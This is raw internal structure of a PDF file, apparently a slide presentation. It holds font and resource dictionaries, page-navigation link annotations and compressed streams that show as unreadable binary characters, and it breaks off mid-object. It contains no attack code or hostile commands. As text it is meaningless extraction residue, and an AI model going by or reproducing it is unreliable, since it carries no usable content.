/F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 955 0 obj << /Length 2507 /Filter /FlateDecode >> stream xZo _ Ȏ#=\qp=\l}hZ@YK ˲-9__I$'M&w3ᐿ\mūG|))y ^)+WN2!mu7fG>BWyVwt}s1..Qs'9#2)Lp@cFJX W,t,Eq nƵ %P" ާ+|ףkUjculȱB%v1˯ pB666il7Ohg(M(m) F{iI3fTGIi#"kЛ Xɗcnmhj5MW=Y4$q͐>O..(P(KO/#h' ^VdV]xnqdtClH.vt3~ػKcqGa}yϦb>lÒqyA t xJjBT1TGp:۷z՞qu{Ȅ@JDgc47ՑJh|'"jô4(hICuX+֡@=:H .$1XD٬XA'o]c J:⫊/T.UaKA~^ MA>0`Q}*8IeW UYlrs_k訇HIm+dEڑV|)H>\zK:ϙŋf$2VbנzlzCm.$x 5PoM E y3Lۋ e_!ew,6^RGvKJGEC!% hoH.9X)d:V:TA7~: Hni4d{M"M_ᗩ4ftv6 dVaILJѹ # ?\X;lS*B85ݼ?G}Y$ nj6{#!jw38I)E҇Z诨簀4{,rҎ` N ٱ=}21hLK5Y cd> /Parent 922 0 R /Annots [ 925 0 R 926 0 R 927 0 R 928 0 R 929 0 R 930 0 R 931 0 R 932 0 R 933 0 R 934 0 R 935 0 R 936 0 R 937 0 R 938 0 R 939 0 R 940 0 R 941 0 R 942 0 R 943 0 R 944 0 R 945 0 R 946 0 R 947 0 R 948 0 R 949 0 R 950 0 R 951 0 R 923 0 R 924 0 R 952 0 R ] >> endobj 925 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 926 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 927 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 928 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 929 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 930 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 931 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 932 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 933 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 934 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 935 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 936 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 937 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 938 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 939 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 940 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 941 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 942 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 943 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 944 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 945 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 946 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 947 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 948 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 949 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 950 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 951 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 923 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [151.751 87.209 303.453 98.137] /Subtype/Link/A<> >> endobj 924 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [72.181 65.291 290.654 76.219] /Subtype/Link/A<> >> endobj 952 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 635 0 obj << /D [954 0 R /XYZ 334.488 1.245 null] >> endobj 956 0 obj << /D [954 0 R /XYZ 334.488 1.245 null] >> endobj 953 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F84 886 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 993 0 obj << /Length 1943 /Filter /FlateDecode >> stream xZKs7 WTh[[ǙfrhlʲKmycWڒM2IFK@B7j | E k ډ۱8x`ғ2FA(ozqkNݤ MccPMZte +UjhG*- clL F_'^VZ:4T$=DӾ+{NPi;ib# os#.C#> Z"H4 z7 qNTYAhHʒB]b}UiLXc\(Ecdo R& 0:ˠӵ4zRE8uG48lҒD"kϩA!}M o YI-ފeю>e%] *uي;Ob}V. ՙ89Ш\d$4"@cuֵ*'(;6QJxT(˨R@!֌ rZ(QF!UFBJ:F(6E`T)(S~{sFe²7C,}m0Aъn-M}[$pBdIq.xyИ[ Oٟx<gm!$eݥg}-*'wf9n 9dmY|X{Dʣc؄LCˈ'\Z`HTv\ZRzFg<`!YQ^b(p GСсML:%S.lsrrWv23zѐ %4#⎌mHhf[@, 3 f:;j k XSCң-b6ԀB@.q]3!U>pd@c{4JTVF־_ :R->uŐTdgrz~b,62ͧQsۡQAX$QkҡrZj t7Ia?Iާ*^TK'V|^ Ƀ6#_(DbDMseW7 |PHr82}੻pRFXU,b`@G *FGFp!0Nn1RAެ\HA1m̮I8GC88{N()K p;ȷyCSy E[= daI^?ۄA|4_p\Ɇc1^vf1OoX}Nɩr2uJb2WFo fx!|vl^ ΰf$afh>NwY]]qg97|BVRqJk3K52.Hm݊ dWP"d4`%&.$=^g tNK)1GQ9G3#@_d9]* 3\9}^T"0*-VjYVMf oa9@LɰoT/_ש"i~t)Hp/'b`)y9z/gSf{&c|w T[ꐞ~j׼* endstream endobj 992 0 obj << /Type /Page /Contents 993 0 R /Resources 991 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 922 0 R /Annots [ 963 0 R 964 0 R 965 0 R 966 0 R 967 0 R 968 0 R 969 0 R 970 0 R 971 0 R 972 0 R 973 0 R 974 0 R 975 0 R 976 0 R 977 0 R 978 0 R 979 0 R 980 0 R 981 0 R 982 0 R 983 0 R 984 0 R 985 0 R 986 0 R 987 0 R 988 0 R 989 0 R 957 0 R 958 0 R 959 0 R 960 0 R 961 0 R 962 0 R 990 0 R ] >> endobj 963 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 964 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 965 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 966 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 967 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 968 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 969 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 970 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 971 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 972 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 973 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 974 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 975 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 976 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 977 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 978 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 979 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 980 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 981 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 982 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 983 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 984 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 985 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 986 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 987 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 988 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 989 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 957 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 172.918 167.034 184.921] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 958 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 146.577 151.749 158.022] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 959 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 121.61 101.969 131.123] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 960 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 92.779 253.638 104.223] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 961 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 82.756 97.058 91.573] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 962 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 70.801 164.763 79.618] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 990 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 33 0 obj << /D [992 0 R /XYZ 28.346 246.281 null] >> endobj 117 0 obj << /D [992 0 R /XYZ 334.488 1.245 null] >> endobj 994 0 obj << /D [992 0 R /XYZ 334.488 1.245 null] >> endobj 991 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1033 0 obj << /Length 1947 /Filter /FlateDecode >> stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJDUns }NP4J;rW2 e^ _ o\]AcroOf Ezs-8_o<U endstream endobj 1032 0 obj << /Type /Page /Contents 1033 0 R /Resources 1031 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1003 0 R 1004 0 R 1005 0 R 1006 0 R 1007 0 R 1008 0 R 1009 0 R 1010 0 R 1011 0 R 1012 0 R 1013 0 R 1014 0 R 1015 0 R 1016 0 R 1017 0 R 1018 0 R 1019 0 R 1020 0 R 1021 0 R 1022 0 R 1023 0 R 1024 0 R 1025 0 R 1026 0 R 1027 0 R 1028 0 R 1029 0 R 997 0 R 998 0 R 999 0 R 1000 0 R 1001 0 R 1002 0 R 1030 0 R ] >> endobj 1003 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1004 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1005 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1006 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1007 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1008 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1009 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1010 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1011 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1012 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1013 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1014 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1015 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1016 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1017 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1018 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1019 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1020 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1021 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 1022 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 1023 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 1024 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1025 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1026 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1027 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1028 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1029 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 997 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 172.918 167.034 184.921] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 998 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 146.577 151.749 158.022] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 999 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 121.61 101.969 131.123] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1000 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 92.779 253.638 104.223] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1001 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 82.756 97.058 91.573] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1002 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 70.801 164.763 79.618] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1030 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 37 0 obj << /D [1032 0 R /XYZ 28.346 246.281 null] >> endobj 995 0 obj << /D [1032 0 R /XYZ 334.488 1.245 null] >> endobj 1034 0 obj << /D [1032 0 R /XYZ 334.488 1.245 null] >> endobj 1031 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1066 0 obj << /Length 2910 /Filter /FlateDecode >> stream xr7]_1PU;C\éTʱ-۩ƖC45U!lo䈱)ŎV*r th<ȴUe*ٲ&/>Y DZZ%tut!.5B "Di袄I -4Ȝ~YZZ[x71t>;@֛ PqqRT} :6m(%@7'Y$f1Ig׈9}g\O$$fa>.,& ҤFy%@oSfCApgy('i|0fU܃UO0ɟ%P cҢ @RA- cmc|,CRxHve\Cdᕓ^3i#  T3hl-f 5 <5,Δ)I5FM0n"J6>T &0ZQMQ[ R@SJKMIJGd5(Sc'fIRƦRUգd{!эyp!rd΃zźw U9xY= YrpJ!vi vI q6rZyxz0,Q$pbxZgYW>Z戤ydanL~GUUHPd1N_.ߕYzr2}tݥJ,_B%@fep2Y?h.NE(v#`iKg #Tߨh$p&<#yW8=j&Q]pnćQ HS=s_:c {mxgm+wgm#NQ MT Pm1x<E]T/ .C5]Tw(3]TӇZQUvB#M+DlxAk/ZPcӀ{"/Oi`g|1Uq@?_V䖜vbRpWs$m9' K+Ӓ~~#Fq?_eA.\ioAd! Q.(/д:V 10..))#$aN pEXhh954 E#8$±H 4+i:_p_dy6(upye2֫|!:yX9~kPRZQ2ջU)S\ƢRmh=ZP1HeŻ'atIEvǣ(Z;Ę,(<)R f8^oMs5q&#q~tfiә <Ӵ\`>"sTU-@'MRKWM3b/lDVZc4[FTŚ{Ǜ+V M TGXu}sV kBTJDLǵ5]J/\GźViOzdF5vH4m]<:U ?QJwKU;,ݫ"]e5]B> /Parent 922 0 R /Annots [ 1036 0 R 1037 0 R 1038 0 R 1039 0 R 1040 0 R 1041 0 R 1042 0 R 1043 0 R 1044 0 R 1045 0 R 1046 0 R 1047 0 R 1048 0 R 1049 0 R 1050 0 R 1051 0 R 1052 0 R 1053 0 R 1054 0 R 1055 0 R 1056 0 R 1057 0 R 1058 0 R 1059 0 R 1060 0 R 1061 0 R 1062 0 R 1063 0 R ] >> endobj 1036 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 1037 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1038 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 1039 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1040 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1041 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1042 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1043 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1044 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1045 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1046 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1047 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1048 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 